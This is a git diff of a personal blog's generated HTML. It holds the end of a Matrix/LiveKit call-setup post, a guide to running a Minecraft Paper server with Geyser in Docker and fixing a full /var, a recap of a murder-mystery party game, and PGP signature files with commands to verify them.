    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.

    Final checklist (print me)

    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • LiveKit logs show participants joining (not just CreateRoom).
    • /voip/turnServer returns time-limited TURN credentials.
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.

    Credits & tooling

    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.

    Happy calling! 🎉


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/minecraft_server.asc b/public-clearnet/posts/minecraft_server.asc new file mode 100644 index 0000000..94551ff --- /dev/null +++ b/public-clearnet/posts/minecraft_server.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAsYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0q9rkP/RNjRctt3alvjMKSqwPvFZVQ +o2gSnGxmSxgq7hxYc5bEEXvfRYtw6leMfdFeZ91w16OqLgIlwZb/B3iOimtyH7UB +vDpHfal3TLX9kaHjzWmLXbMhMY/ID1wf0ZceSXAgapPiRnp3LZgjB/eyKYvUE+ns +AlT2nxW6vJ/lUkf7boVLfi215bm96G37ygWwg4V+QWAaW9X+0RzcYwx4njxJv5NK +Q02fQuTah/Nb8/plBgUB0JJI5HaYKCEMs25818bmavbCsH1b9KujMCGx05RfkVfl +vOGCGv2GNJ/CjpCLyTgRm9p2eM2SoGzYEds5tHamsgHMJ5xFXQneDsC2C96ollhj +YmujUfHK7xKjyq8kyhCxKuz7+OEL2H1jXvosIqJorRZQUKZyv9vfMGeX1PIhUYbn +VlOr3KVJsiR81cBs9vOc88Y3Y3QyJBQ7unab/V8dFcJMrN8NqUYw17GWJm9enR2D +WenBkbGmpck/clIDz05zNXMry38RO4Xx9PEPFYUhw8+zMTeLSpNjHVt535JWWbln +avmWEqyVLEuX+62BNQv/xUhF81c+SIEqmJSbgeezIh0EprDOJtKwv3le5etZVj10 +OS0b87v+X9eSRarQahEXSbaes1dyAR0D4AF5xzMTxmC+MRN1xl00CEV+gIJti2xD +j2cjrN+PUnXxR8fSHzpg +=gvzQ +-----END PGP SIGNATURE----- diff --git a/public-clearnet/posts/minecraft_server/index.html b/public-clearnet/posts/minecraft_server/index.html new file mode 100644 index 0000000..086616a --- /dev/null +++ b/public-clearnet/posts/minecraft_server/index.html @@ -0,0 +1,95 @@ +Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases | AlipourIm journeys +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    Why

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    • failed to register layer: ... no space left on device
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • Wanting config in a neat .env and no whitelist

    Here’s exactly what I did.


    Folder layout

    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    .env (secrets & knobs)

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.


    docker-compose.yml

    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +

    The version: key in Compose is obsolete now, so I dropped it.


    Add Geyser (and optional Floodgate) as plugins

    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.


    Hit a wall: /var ran out of space

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    /dev/mapper/ubuntu--vg-var 3.9G 3.4G 333M 92% /var

    Quick cleanup

    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    Option A — Move Docker’s data off /var

    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    Check free space in the VG:

    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    The version mismatch: pre-release vs stable

    My logs showed:

    Starting minecraft server version 1.21.9 Pre-Release 2

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    1. Ensure .env has:
      VERSION=LATEST_RELEASE
      +
    2. Recreate:
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    3. Verify:
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).


    No whitelist

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).


    Backup & updates

    • World/data live under the mc-data volume → back up /data regularly.
    • Update cleanly:
      docker compose pull && docker compose up -d
      +
    • Watch space:
      watch -n5 'df -h /var; docker system df'
      +

    TL;DR

    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • Keep configs in .env.
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • Verify version in logs after each change.

    Happy block-breaking! 🧱🚀


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
    +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
    +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
    +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
    +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
    +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
    +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
    +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
    +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
    +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
    +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
    +=NmxL
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md.asc
    +gpg --verify minecraft_server.md.asc minecraft_server.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/murder_mystery_night.asc b/public-clearnet/posts/murder_mystery_night.asc new file mode 100644 index 0000000..1991a38 --- /dev/null +++ b/public-clearnet/posts/murder_mystery_night.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAwYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qxdkP/1CuhwinoXks55Swn9wdn6B1 +6HCDCTvLWjxiJ3ix/g9uelB2VPiJa2wH72+RSReWiEBQG5W0fuW3iSHWQ9xouRcs +NWCmW/k+NdwmTv2I9PCuwaPwUg/BPPxMUS7Oo1Zog21lDM+fzpQkW8QAUZgpjdqz +0bbwYbQQJtHJa5oo8M7bx9pggCJMfLKtXafsP/p4zkGo0/mByAoDPW4u3MXkJZXj +YcCzesgfa+QW4SddXsWemxFtgaVlZqLywCanTd3dmWjNnfHcL03TpzxxQdd92i3g +sGy2Zv7/DjBfGOdvWfXuaMLDXWC9zDLmJbnYVNd2Rks7WOlyUe29UfZFII9u34ww +SgxFWDPu5MXAEfSDprBuyFZUjDh/HFXqp3WfOXNPh9V7/qH6hE3pLqZnV0RDGhYS +tZHVnS12b7mEoLtDj4LlgXAHGLhjXU/bq8bkVOATNyFPREVS96cW6ouafiCGp2In +dm3/NE97zXW8UqYSE5CzdqVPRiUL3JgqsfprvQMJtk1mbsiP1zl8+hFv3X2P4yQB +sBNsGRjtjNYPqE54EMQV9UglFWUSElCpmqs6yuNqPsdGt7OgJjaK2i0IMGEpig3K +Oc62SuntWeFi7VqH8fY47z3L2jjlQEFOSVSZwNCO12pK9DiJpUSB0MQwZ2GluPGy +NNu4bQAyPKanlq6BMODg +=tx76 +-----END PGP SIGNATURE----- diff --git a/public-clearnet/posts/murder_mystery_night/index.html b/public-clearnet/posts/murder_mystery_night/index.html new file mode 100644 index 0000000..16bfb26 --- /dev/null +++ b/public-clearnet/posts/murder_mystery_night/index.html @@ -0,0 +1,93 @@ +La Plaza: The Falcones & the Morettis | AlipourIm journeys +

    La Plaza: The Falcones & the Morettis

    Last night I attended a ZiS event called “the Murder Mystery night”.

    The story was about two families. The Falcones, and the Moretti family.

    Gold-embossed invitations arrive at La Plaza for a celebration of life honoring Salvatore Falcone, recently slain Don. All members of the Moretti family are invited to the party!

    Family Trees

    %%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph falcone["Falcone — current generation"] +direction TB +Salvatore["Salvatore Falcone
    dead boss"] +Serena["Serena
    widow (bosswife)"] +Salvatore -- Married --> Serena +%% row: siblings +subgraph falcone_row1[ ] +direction LR +Sophia["Sophia
    underboss"] +Massimo["Massimo
    lawyer"] +Fabiola["Fabiola
    financial
    advisor"] +Aurora["Aurora
    associate"] +end +%% row: next generation +subgraph falcone_row2[ ] +direction LR +Lorenzo["Lorenzo
    fixer
    (Sophia's son)"] +Michelangelo["Michelangelo
    enforcer
    (Massimo's son)"] +Antonio["Antonio
    hitman"] +end +Sophia --> Lorenzo +Massimo --> Michelangelo +Fabiola -- Married --> Antonio +end
    %%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph moretti["Moretti family"] +direction TB +Benito["Benito
    boss"] +Nicoletta["Nicoletta
    bosswife"] +Claudia["Claudia
    ex wife"] +Benito -- Married --> Nicoletta +Benito -- Divorced --> Claudia +%% row: children +subgraph moretti_row1[ ] +direction LR +Sergio["Sergio
    underboss"] +Lucia["Lucia
    associate"] +end +Benito -->|son| Sergio +Nicoletta -->|son| Sergio +Benito -->|daughter| Lucia +Claudia -->|daughter| Lucia +%% row: Lucia's crew +subgraph moretti_row2[ ] +direction LR +Violetta["Violetta
    fixer"] +Santo["Santo
    enforcer"] +end +Lucia --> Violetta +Lucia --> Santo +end +Enrico["Enrico
    finantial advisor"] +Benito ---|younger brother| Enrico

    Who’s Who (quick dossiers)

    Falcone notes

    • Salvatore Falcone (†) — Former Don, killed under mysterious circumstances.
    • Serena — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia.
    • Sophia — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore.
    • Massimo — Younger brother; justice-minded, hardened by his wife’s death.
    • Aurora — Youngest; underestimated as naive or harmless, but observant.
    • Fabiola — Ambitious financial brain; growth-focused, clashes with tradition.
    • Antonio — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have.
    • Michelangelo — Massimo’s son; enforcer torn by guilt over his mother’s murder.
    • Lorenzo — Sophia’s son; quiet fixer who tidies messes, unflappable.

    Moretti notes

    • Benito — Calculating, paranoid Boss; obsessed with securing the bloodline through his son.
    • Nicoletta — Benito’s wife; once a prostitute, now regal and cunning.
    • Sergio — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the game.
    • Enrico — Benito’s younger brother; accountant; clever, restless for influence.
    • Violetta — The family’s ice-cold fixer; keeps things “clean,” whatever it costs.
    • Claudia — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways.
    • Lucia — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family.
    • Santo — Lucia’s son; bold, admired and doubted in equal measure.

    Aside from these characters, there were two additional characters. +Falcon’s priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them!

    World sketch: the Falcones make problems disappear and launder fortunes behind bright lights and polished floors; the Morettis flaunt neon glamour while doing the real work in shadows.


    After the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. +All I knew was that on the night of the murder, I was not in Falcon’s house, and that I was out in a casino with Aurora.

    I didn’t know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO

    So, without further of do, let’s dive riiiiiiiiiight in!!!! Weeeee haaaaa xD

    Act I, the dinner

    We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. +Or that’s what was written in our invitations.

    The Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone.

    The clash was instant as they though we were disrespectful to wear such cloths. +As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill.

    She said, “I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it.”

    The Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! +They said Why would they take it so far to accuse them of accusing us of murder.

    Violetta, our family’s ice-cold fixer, replied, “it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention”.

    They went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions.

    While the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won’t name here out of privacy). Thank you again for such an amazing event!

    Act II, the invitations

    Sophia looked at us with her death smile and said, “I was involved with 9 invitations, the ones to our family, and nothing more.”

    The room went into a deep silence. What did she mean? Who made Moretti’s invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti’s to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out?

    The occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them.

    Violetta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger…

    Act III, the evidence

    Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did.

    There were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore’s body from the other side. The third picture was of Salvatore’s dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN.

    Massimo got up from his sit, pointing to an article about her wife’s death. He stated how this was similar to her death, and how she died “The Moretti way”. “She was shot and pushed down the stairs. What other evidence do you need?” said Massimo.

    Benito replied calmly, “But Salvatore didn’t die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.”. “Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.”, said Sergio with a collected tone.

    Massimo wasn’t convinced, but he knew they were right. He just could not forgive her wife’s death.

    The room went into silence again.

    Violetta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola’s accounting showing F&E laundering money for Salvatore. No one knew what F&E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore’s level, using the Falcones’ casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it.

    In the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: “Be careful”.

    Serena pointed to Antonio, and he took out a piece of paper of the family’s weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti’s have with the youngest of the Falcones?

    Lorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio’s report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones’ that night, and that he was in a casino with Aurora; no further explanation was provided by him.

    Aurora didn’t budge either.

    Sergio changed the subject swiftly. He pointed to the gun used for the murder and said, “Doesn’t that look like Santo’s gun? Where were you that night, Santos?”. “I was at home, with my mother”, Santos replied, and Lucia nodded.

    It felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up.

    Act IV, the confessions

    The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard “there was another heir to Salvatore’s fortune”, that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child.

    The prostitute continued, “Benito ordered to kill her mistress before the child was born, but he didn’t manage”. She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage.

    Claudia wasn’t feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her?

    The prostitute then continued. “Sergio is not Benito’s son”. Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito’s son. Benito smiled. “Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause.”

    Sergio did not smile, or any changes in his face. He was ice-cold.

    It was still not clear who plotted to kill Salvatore. Everyone was confused.

    It was time for deduction.

    Act V, the killer(s)

    After a long discussion between all the family members, these were the conclusions.

    It was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti’s. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were.

    Initially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night.

    If everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family’s side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why?

    Lorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like “The Moretti” way. Then Lorenzo gets to Antonio, and +Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore’s money, as with all ties broken, no one would suspect he was Salvatore’s son. Nicoletta would also not talk, as she would lose everything if she confessed.

    Although all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn’t mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti’s side.

    It was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday?

    Sophia was just disappointed with all of this. She didn’t budge.

    The epilogue

    Most people weren’t sharing what they knew not to become sus! I didn’t talk to everyone, but for example, the person who played Santo’s role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I’m not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren’t presenting everything they knew.

    Overall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event!


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSp8sg/9HQfL6MJNbK9138ynptOPkYSjDMyEhaI9GfmV2MRlSwkipwWO2GdLstm+
    +bc8KNd1E5TQknN21P24dMqkQ2iDm6s0bDsVQ4X/iZfTwBBoGOD5Z2WvqBUqZo04d
    +ddb4Vk3fqB8hRpcDvqLM3iawn4a5vxGR3tvN16XrGZuyedHFi4YELLIHB0ks3b2p
    +zr6zHOniJ1aCSju8WS28cUMjNz+xCIBKLaHhiZjJ4yQaQVG456VIHCfYYNLo7gwj
    +3lGViTWg273r6YtxIOQBITPXp1Xib8AFubO7Cs1mTo9sEZcWdWFWslAmTLRiHt0x
    +4E58Ob8u/DDfmJrJlzNT/XABcqmLPrs/vAtT8jZNAKRyvtlCN+q2hB6Bu1tndVPH
    +qIrSt7ykMhhDYz6A6MzXkwIKG+lC6sygqISnL8NLnzOJVGy5Jl1Ig82g8DJI7qDJ
    +nh4a+E1ts4Iec2ASQtsZFfSlEcoKjXYbZ9npr8jg2temUxIMYq94L/Zeh0o+Ymxp
    +Qy7GC0YNddKgcvsPX/GwealKrCjRNIWuVogF/q86ASKAyZxDtWsAryOTufu7eV1T
    +QC68HqpwR8bvVPbmIk7l4vQSOXNjZuqaMOOkpFvMkwyOoAyRpmI9ksj0v5GllpIC
    +AidP1vQUUJUGtXbiW0vMufUc/fyulH1o0LCfwTLJoTyiBEwjNsw=
    +=3iUy
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/murder_mystery_night.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/murder_mystery_night.md.asc
    +gpg --verify murder_mystery_night.md.asc murder_mystery_night.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/new_features.asc b/public-clearnet/posts/new_features.asc new file mode 100644 index 0000000..5ae2669 --- /dev/null +++ b/public-clearnet/posts/new_features.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA0YHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qmMMP/jQAYhfTYlR434YgynP7WOjB +JGoHawhhtGWqCIjhpoems0F3PKwC6Amx+6ddHwNZbtOUHUQMS2WEqwTudApV+GSu +h50G8+C8PEyvSEPkkeXusSUTVR1S54j4Fdi1Up64TJoAoWpxX1pSz5Lm0mkjG1UJ +ztdRZqNEjyNKz9wziX9XBD5kt3Ejb1kJQ9fRuwdYfOYi//2iOgIwZmA+WHZoFi6N +SSwXP01MGqV5CnULFat5piTR0Wbz7lrNQyTFEcRXG+hFKsS6JP9e/8uDMHB7Y7pw +sUR/J4IOPNrZGivsIcKnDhtEB7bKEqUbth1osQLSgfS4HAJSKl7Z8IfRa1hwkr9q +80DQcDBnhT0a8xV5tlQreY2VAO7iBsw3yli6ZGqaRVbOpX3BqZ7Evo8iFSNo7YLz +uxzMy8jvgstG12C4Uy7/bxVIk47BWxQHmAufnd+6IbcANXelSPUzZB7zPLBquSBa +dLRnwukpSpoSvVnD0CxLPAKHMgZqWR5CQTksjbGF/7hZgfJBDACqeAQPBBczAWXH +L5ij+fzUAlzuloxtAnV5t1gpEbNCfB2olyBc7Ii3u0wHnYKwOMIzk5dx4q+U5XTQ +Y/klclFuNguXly/G4smOwCXvLTqlF2xgpR9jl8fMVEI7wum8k0skBNqV8KwTUONW +9fVBzCiojoS/ctK2bick +=HCVL +-----END PGP SIGNATURE----- diff --git a/public-clearnet/posts/page/1/index.html b/public-clearnet/posts/page/1/index.html new file mode 100644 index 0000000..d021adf --- /dev/null +++ b/public-clearnet/posts/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/posts/ + \ No newline at end of file diff --git a/public-clearnet/posts/page/2/index.html b/public-clearnet/posts/page/2/index.html new file mode 100644 index 0000000..cb2946c --- /dev/null +++ b/public-clearnet/posts/page/2/index.html @@ -0,0 +1,41 @@ +Posts | AlipourIm journeys +

    I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)

    The Day My Wi-Fi Said “Eight Is Enough” My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own. +...

    November 23, 2025 · 18 min · Iman Alipour +

    The Loop of Doom

